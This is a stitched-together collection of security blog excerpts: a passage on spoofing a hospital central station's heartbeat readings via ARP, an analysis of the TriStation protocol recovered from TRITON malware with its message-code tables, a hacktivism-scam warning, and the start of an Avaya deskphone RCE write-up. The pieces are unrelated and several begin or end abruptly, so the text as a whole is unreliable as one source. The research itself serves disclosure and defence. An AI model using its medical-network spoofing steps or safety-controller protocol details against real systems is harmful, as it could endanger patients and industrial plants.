The patient monitor sends a packet with the patient’s heartbeat stored at offset 0x71 in the payload.
The patient monitor in this screen capture is at IP address 126.4.153.150.
An attacker can ARP spoof the patient monitor with a Kali virtual machine.
The ARP packets indicate that the central station, IP address 126.1.1.1, is at MAC address 00:0c:29:
a1:6e:bf, which is actually the Kali virtual machine.
Wireshark recognizes two MACs with the same IP address assigned and highlights them, showing the ARP spoof.
Next the attacker from the virtual machine at address 126.4.153.153 sends false information to the central monitoring station, still at address 126.1.1.1.
In this example, offset 0x71 has been changed to 0x78, or 120.
(The attacker could choose any value; the following demo videos use the heartbeat value 180 because it is more alarming.)
Also notice the IP address stored in the payload, which we discovered during the reconnaissance phase.
It still indicates this data is coming from the original patient monitor address, which is different from the IP address on the packet’s IP header.
Due to this implementation, there is no need for the attacker to spoof their IP address for the attack to be successful.
Two videos show this modification happening in real time: Impact of real-time modification Although the monitor in the patient’s room is not directly affected, real-time modification is impactful because medical professionals use these central stations to make critical decisions on a large number of patients—instead of visiting each room individually.
As long as the changes are believable, they will not always be verified.
Dr. Nordeck explains the impact of this attack: “Fictitious cardiac rhythms, even intermittent, could lead to extended hospitalization, additional testing, and side effects from medications prescribed to control heart rhythm and/or prevent clots.
The hospital could also suffer resource consumption.”
Dr. Nordeck explained that short changes to a heartbeat would generally trigger the nurse or technician monitoring the central station to page a doctor.
The doctor would typically ask for a printout from the central station to review the rhythm.
The doctor might also order an additional test, such as an EKG, to verify the rhythm.
An EKG, however, would not likely capture an abnormal rhythm if it is intermittent, but the test might reveal an underlying cause for intermittent arrythmia.
Should the rhythm recur intermittently throughout the day, the doctor might make treatment decisions based on this erroneous printout.
The American Heart Association and American College of Cardiology publish guidelines that hospitals are to follow, including for “intermittent cardiac rhythms,” seen in this chart: A decision tree for treating an intermittent heart rate.
Source: American Heart Association.
The first decision point in this tree asks if the patient is hemodynamically stable (whether the blood pressure is normal).
This attack does not affect the bedside monitor.
A nurse might retake the patient’s blood pressure, which would be normal.
The next decision point following the “Yes” path is a diagnosis of focal atrial tachycardia.
Regardless of the medical terms and answers, the patient is issued medication.
In the case of a network attack, this is medication the patient does not need and could cause harm.
Conclusion This research from McAfee’s Advanced Threat Research team shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station.
For this attack to be viable, an attacker would need to be on the same network as the devices and have knowledge of the networking protocol.
Any modifications made to patient data would need to be believable to medical professionals for there to be any impact.
During our research we did not modify the patient monitor, which always showed the true data; but we have proven the impact of an attack can be meaningful.
Such an attack could result in patients receiving the wrong medications, additional testing, and extended hospital stays—any of which could incur unnecessary expenses.
Both product vendors and medical facilities can take measures to drastically reduce the threat of this type of attack.
Vendors can encrypt network traffic between the devices and add authentication.
These two steps would drastically increase the difficulty of this type of attack.
Vendors also typically recommend that medical equipment is run on a completely isolated network with very strict network-access controls.
If medical facilities follow these recommendations, attackers would require physical access to the network, greatly helping to reduce the attack surface.
One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape.
Through responsible disclosure we aim to assist and encourage the industry toward a more comprehensive security posture.
As part of our policy, we reported this research to the vendor whose products we tested and will continue to work with other vendors to help secure their products.
Introduction In December 2017, FireEye's Mandiant discussed an incident response involving the TRITON framework .
The TRITON attack and many of the publicly discussed ICS intrusions involved routine techniques where the threat actors used only what is necessary to succeed in their mission.
For both INDUSTROYER and TRITON, the attackers moved from the IT network to the OT (operational technology) network through systems that were accessible to both environments.
Traditional malware backdoors, Mimikatz distillates, remote desktop sessions, and other well-documented, easily-detected attack methods were used throughout these intrusions.
Despite the routine techniques employed to gain access to an OT environment, the threat actors behind the TRITON malware framework invested significant time learning about the Triconex Safety Instrumented System (SIS) controllers and TriStation, a proprietary network communications protocol.
The investment and purpose of the Triconex SIS controllers leads Mandiant to assess the attacker's objective was likely to build the capability to cause physical consequences.
TriStation remains closed source
and there is no official public information detailing the structure of the protocol, raising several questions about how the TRITON framework was developed.
Did the actor have access to a Triconex controller and TriStation 1131 software suite?
When did development first start?
How did the threat actor reverse engineer the protocol, and to what extent?
What is the protocol structure?
FireEye’s Advanced Practices Team was born to investigate adversary methodologies, and to answer these types of questions, so we started with a deeper look at the TRITON’s own Python scripts.
Glossary: TRITON – Malware framework designed to operate Triconex SIS controllers via the TriStation protocol.
TriStation – UDP network protocol specific to Triconex controllers.
TRITON threat actor – The human beings who developed, deployed and/or operated TRITON.
Diving into TRITON's Implementation of TriStation TriStation is a proprietary network protocol and there is no public documentation detailing its structure or how to create software applications that use TriStation.
The current TriStation UDP/IP protocol is little understood, but natively implemented through the TriStation 1131 software suite.
TriStation operates by UDP over port 1502 and allows for communications between designated masters (PCs with the software that are “engineering workstations”) and clients (Triconex controllers with special communications modules) over a network.
To us, the Triconex systems, software and associated terminology sound foreign and complicated, and the TriStation protocol is no different.
Attempting to understand the protocol from ground zero would take a considerable amount of time and reverse engineering effort – so why not learn from TRITON itself?
With the TRITON framework containing TriStation communication functionality, we pursued studying the framework to better understand this mysterious protocol.
Work smarter, not harder, amirite?
The TRITON framework has a multitude of functionalities, but we started with the basic components: TS_cnames.pyc
# Compiled at: 2017-08-03 10:52:33 TsBase.pyc # Compiled at: 2017-08-03 10:52:33 TsHi.pyc # Compiled at: 2017-08-04 02:04:01 TsLow.pyc
# Compiled at: 2017-08-03 10:46:51 TsLow.pyc (Figure 1) contains several pieces of code for error handling, but these also present some cues to the protocol structure.
Figure 1: TsLow.pyc function print_last_error()
In the TsLow.pyc’s function for print_last_error we see error handling for “TCM Error”.
This compares the TriStation packet value at offset 0 with a value in a corresponding array from TS_cnames.pyc (Figure 2), which is largely used as a “dictionary” for the protocol.
Figure 2:
TS_cnames.pyc TS_cst array From this we can infer that offset 0 of the TriStation protocol contains message types.
This is supported by an additional function, tcm_result, which declares type, size = struct.unpack('<HH', data_received[0:4]), stating that the first two bytes should be handled as integer type and the second two bytes are integer size of the TriStation message.
This is our first glimpse into what the threat actor(s) understood about the TriStation protocol.
Since there are only 11 defined message types, it really doesn't matter much if the type is one byte or two because the second byte will always be 0x00.
We also have indications that message type 5 is for all Execution Command Requests and Responses, so it is curious to observe that the TRITON developers called this “Command Reply.”
(We won’t understand this naming convention until later.)
Next we examine TsLow.pyc’s print_last_error function (Figure 3) to look at “TS Error” and “TS_names.”
We begin by looking at the ts_err variable and see that it references ts_result.
Figure 3: TsLow.pyc function print_last_error() with ts_err highlighted
We follow that thread to ts_result, which defines a few variables in the next 10 bytes (Figure 4): dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]).
Now things are heating up.
What fun.
There’s a lot to unpack here, but the most interesting thing is how this piece script breaks down 10 bytes from ts_packet into different variables.
Figure 4: ts_result with ts_packet header variables highlighted Figure 5: tcm_result Referencing tcm_result (Figure 5) we see that it defines type and size as the first four bytes (offset 0 – 3) and tcm_result returns the packet bytes 4:-2 (offset 4 to the end minus 2, because the last two bytes are the CRC-16 checksum).
Now that we know where tcm_result leaves off, we know that the ts_reply “cmd” is a single byte at offset 6, and corresponds to the values in the TS_cnames.pyc array and TS_names (Figure 6).
The TRITON script also tells us that any integer value over 100 is a likely “command reply.”
Sweet.
When looking back at the ts_result packet header definitions, we begin to see some gaps in the TRITON developer's knowledge: dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]).
We're clearly speculating based on naming conventions, but we get an impression that offsets 4, 5 and 6 could be \"direction\", \"controller ID\" and \"command\", respectively.
Values such as \"unk\" show that the developer either did not know or did not care to identify this value.
We suspect it is a constant, but this value is still unknown to us.
Figure 6: Excerpt TS_cnames.pyc TS_names array, which contain TRITON actor’s notes for execution command function codes TriStation Protocol Packet Structure The TRITON threat actor’s knowledge and reverse engineering effort provides us a better understanding of the protocol.
From here we can start to form a more complete picture and document the basic functionality of TriStation.
We are primarily interested in message type 5, Execution Command, which best illustrates the overall structure of the protocol.
Other, smaller message types will have varying structure.
Figure 7: Sample TriStation \"Allocate Program\" Execution Command, with color annotation and protocol legend Corroborating the TriStation Analysis Minute discrepancies aside, the TriStation structure detailed in Figure 7 is supported by other public analyses.
Foremost, researchers from the Coordinated Science Laboratory (CSL) at University of Illinois at Urbana-Champaign published a 2017 paper titled \" Attack Induced Common-Mode Failures on PLC-based Safety System in a Nuclear Power Plant\".
The CSL team mentions that they used the Triconex System Access Application (TSAA) protocol to reverse engineer elements of the TriStation protocol.
TSAA is a protocol developed by the same company as TriStation.
Unlike TriStation, the TSAA protocol structure is described within official documentation.
CSL assessed similarities between the two protocols would exist and they leveraged TSAA to better understand TriStation.
The team's overall research and analysis of the general packet structure aligns with our TRITON-sourced packet structure.
There are some awesome blog posts and whitepapers out there that support our findings in one way or another.
Writeups by Midnight Blue Labs , Accenture , and US-CERT each explain how the TRITON framework relates to the TriStation protocol in superb detail.
TriStation's Reverse Engineering and TRITON's Development When TRITON was discovered, we began to wonder how the TRITON actor reverse engineered TriStation and implemented it into the framework.
We have a lot of theories, all of which seemed plausible: Did they build, buy, borrow, or steal?
Or some combination thereof?
Our initial theory was that the threat actor purchased a Triconex controller and software for their own testing and reverse engineering from the \"ground up\", although if this was the case we do not believe they had a controller with the exact vulnerable firmware version, else they would have had fewer problems with TRITON in practice at the victim site.
They may have bought or used a demo version of the TriStation 1131 software, allowing them to reverse engineer enough of TriStation for the framework.
They may have stolen TriStation Python libraries from ICS companies, subsidiaries or system integrators and used the stolen material as a base for TriStation and TRITON development.
But then again, it is possible that they borrowed TriStation software, Triconex hardware and Python connectors from government-owned utility that was using them legitimately.
Looking at the raw TRITON code, some of the comments may appear oddly phrased, but we do get a sense that the developer is clearly using many of the right vernacular and acronyms, showing smarts on PLC programming.
The TS_cnames.pyc script contains interesting typos such as 'Set lable', 'Alocate network accepted', 'Symbol table ccepted' and 'Set program information reponse'.
These appear to be normal human error and reflect neither poor written English nor laziness in coding.
The significant amount of annotation, cascading logic, and robust error handling throughout the code suggests thoughtful development and testing of the framework.
This complicates the theory of \"ground up\" development, so did they base their code on something else?
While learning from the TriStation functionality within TRITON, we continued to explore legitimate TriStation software.
We began our search for \"TS1131.exe\" and hit dead ends sorting through TriStation DLLs until we came across a variety of TriStation utilities in MSI form.
We ultimately stumbled across a juicy archive containing \"Trilog v4.\" Upon further inspection, this file installed \"TriLog.exe,\" which the original TRITON executable mimicked, and a couple of supporting DLLs, all of which were timestamped around August 2006.
When we saw the DLL file description \"Tricon Communications Interface\" and original file name \"TricCom.DLL\", we knew we were in the right place.
With a simple look at the file strings, \"BAZINGA!\" We struck gold.
File Name tr1com40.dll MD5 069247DF527A96A0E048732CA57E7D3D Size 110592 Compile Date 2006-08-23 File Description Tricon Communications Interface Product Name
TricCom Dynamic Link Library File Version 4.2.441 Original File Name TricCom.
DLL Copyright Copyright © 1993-2006
Triconex Corporation The tr1com40.DLL is exactly what you would expect to see in a custom application package.
It is a library that helps support the communications for a Triconex controller.
If you've pored over TRITON as much as we have, the moment you look at strings you can see the obvious overlaps between the legitimate DLL and TRITON's own TS_cnames.pyc.
Figure 8:
Strings excerpt from tr1com40.DLL Each of the execution command \"error codes\" from TS_cnames.pyc are in the strings of tr1com40.DLL (Figure 8).
We see \"An MP has re-educated\" and \"Invalid Tristation I command\".
Even misspelled command strings verbatim such as \"Non-existant data item\" and \"Alocate network accepted\".
We also see many of the same unknown values.
What is obvious from this discovery is that some of the strings in TRITON are likely based on code used in communications libraries for Trident and Tricon controllers.
In our brief survey of the legitimate Triconex Corporation binaries, we observed a few samples with related string tables.
Pe:dllname Compile Date Reference CPP Strings Code Lagcom40.dll 2004/11/19 $Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0 Tr1com40.dll 2006/08/23 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4 Tridcom.dll 2008/07/23 $
Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0 Triccom.dll 2008/07/23 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4 Tridcom.dll 2010/09/29 $Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0 Tr1com.dll 2011/04/27 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4 Lagcom.dll 2011/04/27 $Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0 Triccom.dll 2011/04/27 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4 We extracted the CPP string tables in TR1STRS and LAGSTRS and the TS_cnames.pyc TS_names array from TRITON, and compared the 210, 204, and 212 relevant strings from each respective file.
TS_cnames.pyc TS_names and tr1com40.dll share 202 of 220 combined table strings.
The remaining strings are unique to each, as seen here: TS_cnames.
TS_names (2017 pyc) Tr1com40.dll (2006 CPP) Go to DOWNLOAD mode <200> Not set <209> Unk75 Bad message from module Unk76 Bad message type Unk77 Bad TMI version number Unk78 Module did not respond Unk79
Open Connection: Invalid SAP %d Unk81 Unsupported message for this TMI version Unk83 Wrong command TS_cnames.pyc TS_names and Tridcom.dll (1999 CPP) shared only 151 of 268 combined table strings, showing a much smaller overlap with the seemingly older CPP library.
This makes sense based on the context that Tridcom.dll is meant for a Trident controller, not a Tricon controller.
It does seem as though Tr1com40.dll and TR1STRS.CPP code was based on older work.
We are not shocked to find that the threat actor reversed legitimate code to bolster development of the TRITON framework.
They want to work smarter, not harder, too.
But after reverse engineering legitimate software and implementing the basics of the TriStation, the threat actors still had an incomplete understanding of the protocol.
In TRITON's TS_cnames.pyc we saw \"Unk75\", \"Unk76\", \"Unk83\" and other values that were not present in the tr1com40.DLL strings, indicating that the TRITON threat actor may have explored the protocol and annotated their findings beyond what they reverse engineered from the DLL.
The gaps in TriStation implementation show us why the actors encountered problems interacting with the Triconex controllers when using TRITON in the wild.
You can see more of the Trilog and Triconex DLL files on VirusTotal.
Item Name MD5 Description Tr1com40.dll 069247df527a96a0e048732ca57e7d3d
Tricom Communcations DLL Data1.cab e6a3c93a6d433cbaf6f573b6c09d76c4 Parent of Tr1com40.dll Trilog v4.1.360R 13a3b83ba2c4236ca59aba679941c8a5 RAR Archive of TriLog TridCom.dll 5c2ed617fdec4779cb33c89082a43100 Trident Communications DLL
Afterthoughts
Seeing Triconex systems targeted with malicious intent was new to the world six months ago.
Moving forward it would be reasonable to anticipate additional frameworks, such as TRITON, designed for usage against other SIS controllers and associated technologies.
If Triconex was within scope, we may see similar attacker methodologies affecting the dominant industrial safety technologies.
Basic security measures do little to thwart truly persistent threat actors and monitoring only IT networks is not an ideal situation.
Visibility into both the IT and OT environments is critical for detecting the various stages of an ICS intrusion.
Simple detection concepts such as baseline deviation can provide insight into abnormal activity.
While the TRITON framework was actively in use, how many traditional ICS “alarms” were set off while the actors tested their exploits and backdoors on the Triconex controller?
How many times did the TriStation protocol, as implemented in their Python scripts, fail or cause errors because of non-standard traffic?
How many TriStation UDP pings were sent and how many Connection Requests?
How did these statistics compare to the baseline for TriStation traffic?
There are no answers to these questions for now.
We believe that we can identify these anomalies in the long run if we strive for increased visibility into ICS technologies.
We hope that by holding public discussions about ICS technologies, the Infosec community can cultivate closer relationships with ICS vendors and give the world better insight into how attackers move from the IT to the OT space.
We want to foster more conversations like this and generally share good techniques for finding evil.
Since most of all ICS attacks involve standard IT intrusions, we should probably come together to invent and improve any guidelines for how to monitor PCs and engineering workstations that bridge the IT and OT networks.
We envision a world where attacking or disrupting ICS operations costs the threat actor their cover, their toolkits, their time, and their freedom.
It's an ideal world, but something nice to shoot for.
Thanks and Future Work There is still much to do for TRITON and TriStation.
There are many more sub-message types and nuances for parsing out the nitty gritty details, which is hard to do without a controller of our own.
And although we’ve published much of what we learned about the TriStation here on the blog, our work will continue as we continue our study of the protocol.
Thanks to everyone who did so much public research on TRITON and TriStation.
We have cited a few individuals in this blog post, but there is a lot more community-sourced information that gave us clues and leads for our research and testing of the framework and protocol.
We also have to acknowledge the research performed by the TRITON attackers.
We borrowed a lot of your knowledge about TriStation from the TRITON framework itself.
Finally, remember that we're here to collaborate.
We think most of our research is right, but if you notice any errors or omissions, or have ideas for improvements, please spear phish contact: smiller@fireeye.com.
Recommended Reading Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure Attack Induced Common-Mode Failures on PLC-Based Safety System in a Nuclear Power Plant: Practical Experience Report Analyzing the TRITON industrial malware Repository containting original and decompiled files of TRISIS/TRITON/HATMAN malware
TRISIS Malware Analysis of Safety System Targeted Malware Appendix A: TriStation Message Type Codes The following table consists of hex values at offset 0 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.
Value at 0x0 Message Type 1 Connection Request 2 Connection Response 3 Disconnect Request 4 Disconnect Response 5 Execution Command 6 Ping Command 7 Connection Limit Reached 8 Not Connected 9 MPS Are Dead 10 Access Denied 11
Connection Failed Appendix B: TriStation Execution Command Function Codes
The following table consists of hex values at offset 6 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.
Value at 0x6 TS_cnames String 0 0: 'Start download all', 1 1: 'Start download change', 2 2: 'Update configuration', 3 3: 'Upload configuration', 4 4: 'Set I/O addresses', 5 5: 'Allocate network', 6 6: 'Load vector table', 7 7: 'Set calendar', 8 8: 'Get calendar', 9 9: 'Set scan time', A 10: 'End download all', B 11: 'End download change', C 12: 'Cancel download change', D 13: 'Attach TRICON', E 14: 'Set I/O address limits', F 15: 'Configure module', 10 16: 'Set multiple point values', 11 17: 'Enable all points', 12 18: 'Upload vector table', 13 19: 'Get CP status ', 14 20: 'Run program', 15 21: 'Halt program', 16 22: 'Pause program', 17 23: 'Do single scan', 18 24: 'Get chassis status', 19 25: 'Get minimum scan time', 1A 26: 'Set node number', 1B 27: 'Set I/O point values', 1C 28: 'Get I/O point values', 1D 29: 'Get MP status', 1E 30: 'Set retentive values', 1F 31: 'Adjust clock calendar', 20 32: 'Clear module alarms', 21 33: 'Get event log', 22 34: 'Set SOE block', 23 35: 'Record event log', 24 36: 'Get SOE data', 25 37: 'Enable OVD', 26 38: 'Disable OVD', 27 39: 'Enable all OVDs', 28 40: 'Disable all OVDs', 29 41: 'Process MODBUS', 2A 42: 'Upload network', 2B 43: 'Set lable', 2C 44: 'Configure system variables', 2D 45: 'Deconfigure module', 2E 46: 'Get system variables', 2F 47: 'Get module types', 30 48: 'Begin conversion table download', 31 49: 'Continue conversion table download', 32 50: 'End conversion table download', 33 51: 'Get conversion table', 34 52: 'Set ICM status', 35 53: 'Broadcast SOE data available', 36 54: 'Get module versions', 37 55: 'Allocate program', 38 56: 'Allocate function', 39 57: 'Clear retentives', 3A 58: 'Set initial values', 3B 59: 'Start TS2 program download', 3C 60: 'Set TS2 data area', 3D 61: 'Get TS2 data', 3E 62: 'Set TS2 data', 3F 63: 'Set program information', 40 64: 'Get program information', 41 65: 'Upload program', 42 66: 'Upload function', 43 67: 'Get point groups', 44 68: 'Allocate symbol table', 45 69: 'Get I/O address', 46 70: 'Resend I/O address', 47 71: 'Get program timing', 48 72: 'Allocate multiple functions', 49 73: 'Get node number', 4A 74: 'Get symbol table', 4B 75: 'Unk75', 4C 76: 'Unk76', 4D 77: 'Unk77', 4E 78: 'Unk78', 4F 79: 'Unk79', 50 80: 'Go to DOWNLOAD mode', 51 81: 'Unk81', 52 53 83: 'Unk83', 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62 63 64 100: 'Command rejected', 65 101: 'Download all permitted', 66 102: 'Download change permitted', 67 103: 'Modification accepted', 68 104: 'Download cancelled', 69 105: 'Program accepted', 6A 106: 'TRICON attached',
6B 107: 'I/O addresses set', 6C 108: 'Get CP status response', 6D 109: 'Program is running',
6E 110: 'Program is halted', 6F 111: 'Program is paused', 70 112: 'End of single scan', 71 113: 'Get chassis configuration response', 72 114: 'Scan period modified', 73 115: '<115>', 74 116: '<116>', 75 117: 'Module configured', 76 118: '<118>', 77 119: 'Get chassis status response', 78 120: 'Vectors response', 79 121: 'Get I/O point values response', 7A 122: 'Calendar changed', 7B 123: 'Configuration updated', 7C 124: 'Get minimum scan time response', 7D 125: '<125>', 7E 126: 'Node number set', 7F 127: 'Get MP status response', 80 128: 'Retentive values set', 81 129: 'SOE block set', 82 130: 'Module alarms cleared', 83 131: 'Get event log response', 84 132: 'Symbol table ccepted', 85 133: 'OVD enable accepted', 86 134: 'OVD disable accepted', 87 135: 'Record event log response', 88 136: 'Upload network response', 89 137: 'Get SOE data response', 8A 138: 'Alocate network accepted', 8B 139: 'Load vector table accepted', 8C 140: 'Get calendar response', 8D 141: 'Label set', 8E 142: 'Get module types response', 8F 143: 'System variables configured', 90 144: 'Module deconfigured', 91 145: '<145>', 92 146: '<146>', 93 147: 'Get conversion table response', 94 148: 'ICM print data sent', 95 149: 'Set ICM status response', 96 150: 'Get system variables response', 97 151: 'Get module versions response', 98 152: 'Process MODBUS response', 99 153: 'Allocate program response', 9A 154: 'Allocate function response', 9B 155: 'Clear retentives response', 9C 156: 'Set initial values response', 9D 157: 'Set TS2 data area response', 9E 158: 'Get TS2 data response', 9F 159: 'Set TS2 data response', A0 160: 'Set program information reponse', A1 161: 'Get program information response', A2 162: 'Upload program response', A3 163: 'Upload function response', A4 164: 'Get point groups response', A5 165: 'Allocate symbol table response', A6 166: 'Program timing response', A7 167: 'Disable points full', A8 168: 'Allocate multiple functions response', A9 169: 'Get node number response', AA 170: 'Symbol table response',
AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9
BA BB BC BD BE
BF
C0 C1 C2 C3 C4 C5 C6 C7 C8 200: 'Wrong command', C9 201: 'Load is in progress', CA 202: 'Bad clock calendar data', CB 203: 'Control program not halted', CC 204: 'Control program checksum error', CD 205: 'No memory available', CE 206: 'Control program not valid', CF 207: 'Not loading a control program', D0 208: 'Network is out of range', D1 209: 'Not enough arguments', D2 210: 'A Network is missing', D3 211: 'The download time mismatches', D4 212: 'Key setting prohibits this operation', D5 213: 'Bad control program version', D6 214: 'Command not in correct sequence', D7 215: '<215>', D8 216: 'Bad Index for a module', D9 217: 'Module address is invalid', DA 218: '<218>', DB 219: '<219>', DC 220: 'Bad offset for an I/O point', DD 221: 'Invalid point type', DE 222: 'Invalid Point Location', DF 223: 'Program name is invalid', E0 224: '<224>', E1 225: '<225>', E2 226: '<226>', E3 227: 'Invalid module type', E4 228: '<228>', E5 229: 'Invalid table type', E6 230: '<230>', E7 231: 'Invalid network continuation', E8 232: 'Invalid scan time', E9 233: 'Load is busy', EA 234: 'An MP has re-educated', EB 235: 'Invalid chassis or slot', EC 236: 'Invalid SOE number', ED 237: 'Invalid SOE type', EE 238: 'Invalid SOE state', EF 239: 'The variable is write protected', F0 240: 'Node number mismatch', F1 241: 'Command not allowed', F2 242: 'Invalid sequence number', F3 243: 'Time change on non-master TRICON', F4 244: 'No free Tristation ports', F5 245: 'Invalid Tristation I command', F6 246: 'Invalid TriStation 1131 command', F7 247: 'Only one chassis allowed', F8 248: 'Bad variable address', F9 249: 'Response overflow', FA 250: 'Invalid bus', FB 251: 'Disable is not allowed', FC 252: 'Invalid length', FD 253: 'Point cannot be disabled', FE 254: 'Too many retentive variables', FF 255: 'LOADER_CONNECT', 256: 'Unknown reject code' Subscribe to Blogs Get email updates as new blog posts are added.
On this blog, you will often see posts that discuss how cybercriminals will take every advantage that is at their disposal to make a quick buck or gain a foothold into a corporate infrastructure.
In the past, we’ve seen targeting focused on the coronavirus , World Cups, Olympics , elections and basically any other major event.
And the reason is simple — these items are passionate topics that people resonate with.
Passion, at times, will undermine the usual cautiousness that people have in terms of questioning what they see or click on or share with their friends, family, co-workers and just about anybody on social media.
Fast forward to today and we are seeing the eyes of the world turned toward the geopolitical conflict in Ukraine.
The increased focus on this conflict has seen a growth in people looking at how to get involved – including cybercriminals looking to make a quick buck.
If you’re on any social network, you have probably seen people jumping on hashtags or flooding feeds with information on the current events.
In some areas, it will seem like friends you’ve known for years have turned into bots blindly sharing.
However, there are those that want to do more and join the cause.
In particular, there are some folks who look to joining hacktivism groups even if they don’t particularly have the technical skills to carry out hacks.
More technically savvy hacktivists have made it easy for their less-techy brethren with links to easily join up and have scripts run for them.
While we understand that people want to get involved and support these efforts, we have to point out that depending on where you live, or what you are doing, these activities are illegal.
If you are someone that wants to join into these efforts, please make sure that you understand what you are doing from both the ethical and legal angles, as well as those in your heart.
What’s more, you should keep in mind security concerns.
Unfortunately, this trend has been taken up by crooks as well: our colleagues over at Talos recently conducted research on how malefactors were creating similar packages that were, in fact, malware.
Aside from that, some activists are also calling for their supporters to bombard commercial organizations with demands to provide some sort of assistance, or, conversely, to abandon some types of activities.
Among these calls are also quite dangerous ones — for example, to replace security software with less effective products.
These calls to action in hacktivist groups are also ripe for impersonation for criminals that are opportunistic.
These targeted campaigns may also lead to spear phishing attacks .
Tips to stay safe Think for yourself.
We can’t tell you what to do, but we have to remind you that any decision you make has to be based on solid facts, not on fake news .
Always do your own research and try to figure out the full consequences of your actions as best as you can.
Check e-mail senders.
One of the first things to do when it comes to avoiding falling victim to a malicious e-mail is to look at who the sender is.
While the name may seem familiar, make sure that the e-mail is from a trusted source or legitimate company/person reaching out to you.
Confirm links.
Similar to looking at the sender, take a look and make sure that the links are from legitimate sites and tied to the sender when clicking through.
As mentioned earlier, acting with emotions can cloud judgement, so be sure to keep your security vigilance up when clicking e-mail links.
Don’t install suspicious packages.
Growing up, we all heard not to take candy from strangers.
Similarly, you shouldn’t download things from an e-mail or site that you are not sure if it is trustworthy.
And if you’re going to download it anyway, at the very least scan it with a reliable antivirus.
By Philippe Laulheret on Aug 08, 2019 Avaya is the second largest VOIP solution provider ( source ) with an install base covering 90% of the Fortune 100 companies ( source ), with products targeting a wide spectrum of customers, from small business and midmarket, to large corporations.
As part of the ongoing McAfee Advanced Threat Research effort into researching critical vulnerabilities in widely deployed software and hardware, we decided to have a look at the Avaya 9600 series IP Deskphone.
We were able to find the presence of a Remote Code Execution (RCE) vulnerability in a piece of open source software that Avaya likely copied and modified 10 years ago, and then failed to apply subsequent security patches to.
The bug affecting the open source software was reported in 2009, yet its presence in the phone’s firmware remained unnoticed until now.
Only the H.323 software stack is affected (as opposed to the SIP stack that can also be used with these phones), and the Avaya Security Advisory (ASA) can be found here ASA-2019-128 .
The video below demonstrates how an attacker can leverage this bug to take over the normal operation of the phone, exfiltrate audio from its speaker phone, and potentially “bug” the phone.
The current attack is conducted with the phone directly connected to an attacker’s laptop but would also work via a connection to the same network as a vulnerable phone.
The full technical details can be found here , while the rest of this article will give a high-level overview on how this bug was found and some consideration regarding its resolution.
The firmware image Avaya published on June 25 th resolves the issue and can be found here .
As a user, you can verify if your Deskphone is vulnerable: first determine if you have one of the affected models (9600 Series, J100 Series or B189), then you can find which firmware version your phone is using in the “About Avaya IP Deskphone” screen under the Home menu, version 6.8.1 and earlier are vulnerable when using a H.323 firmware (SIP versions are not affected).
What are Researchers Looking for?
When studying the security of embedded and IoT devices, researchers generally have a couple of goals in mind to help kickstart their research.
In most cases, two of the main targets are recovering the files on the system so as to study how the device functions, and then finding a way to interact directly with the system in a privileged fashion (beyond what a normal user should be able to do).
The two can be intertwined, for instance getting a privileged access to the system can enable a researcher to recover the files stored on it, while recovering the files first can show how to enable a privileged access.
In this case, recovering the files was straightforward, but gaining a privileged access required a little more patience.
Recovering the Files From the Phone When we say recovering the files from the phone, we mean looking for the operating system and the various pieces of software running on it.
User files, e.g.
contacts, settings and call logs, are usually not of interest to a security researcher and will not be covered here.
To recover the files, the easiest approach is to look for firmware updates for the device.
If we are lucky, they will be freely available and not encrypted.
In most cases, an encrypted firmware does not increase the security of the system but rather raises the barrier of entry for security researchers and attackers alike.
In this case, we are in luck, Avaya’s website serves firmware updates for its various phone product lines and anyone can download them.
The download contains multiple tar files (a type of archive file format).
We can then run a tool called binwalk on the extracted files.
Binwalk is a large dictionary of patterns that represents known file formats; given an unknown firmware file, it will look for any known pattern and, upon finding potential matches, will attempt to process them accordingly.
For instance, if it finds what looks like a .zip file inside the firmware, it will try to unzip it.
Running this tool is always a good first step when facing an unknown firmware file as, in most cases, it will identify useful items for you.
When processing the phone’s firmware, extracting the files and running binwalk on them gave us the program the phone runs at startup (the bootloader), the Linux kernel used by the phone, and a JFFS filesystem that contains all the phone’s binaries and configuration files.
This is a great start, as from there we can start understanding the inner workings of the device and look for bugs.
At this stage however, we are limited to performing a static analysis: we can look at the files and peek at the assembly instructions of various binaries, but we cannot execute them.
To make life easier, there are usually two options.
The first one is to emulate the whole phone, or at least some region of interest, while the other is to get a privileged access to the system, to inspect what is running on it as well as run debugging tools.
Best results come when you mix and match all these options appropriately.
For the sake of simplicity, we will only cover the latter, but both were used in various ways to help us in our research.
Getting the Privileged Access In most cases, when talking about gaining privileged access to an IoT/embedded device, security researchers are on the lookout for an administrative interface called a root shell that lets them execute any code they want with the highest level of privilege.
Sometimes, one is readily available for maintenance purposes; other times more effort is required to gain access to it, assuming one is present in the first place.
This is when hardware hacking comes into play; security researchers love to rip open devices and void warranties, looking for potential debug ports, gatekeepers of the sought-after privileged access.
Close up of the phone’s circuit board.
UART ports in Red and the EEPROM in blue
In the picture above, we can see two debug ports labeled UART0 and UART1.
This type of test point, where the copper is directly exposed, is commonly used during the manufacturing process to program the device or verify everything is working properly.
UART stands for Universal Asynchronous Receiver-Transmitter and is meant for two-way communication.
This is the most likely place where we can find the administrative access we are looking for.
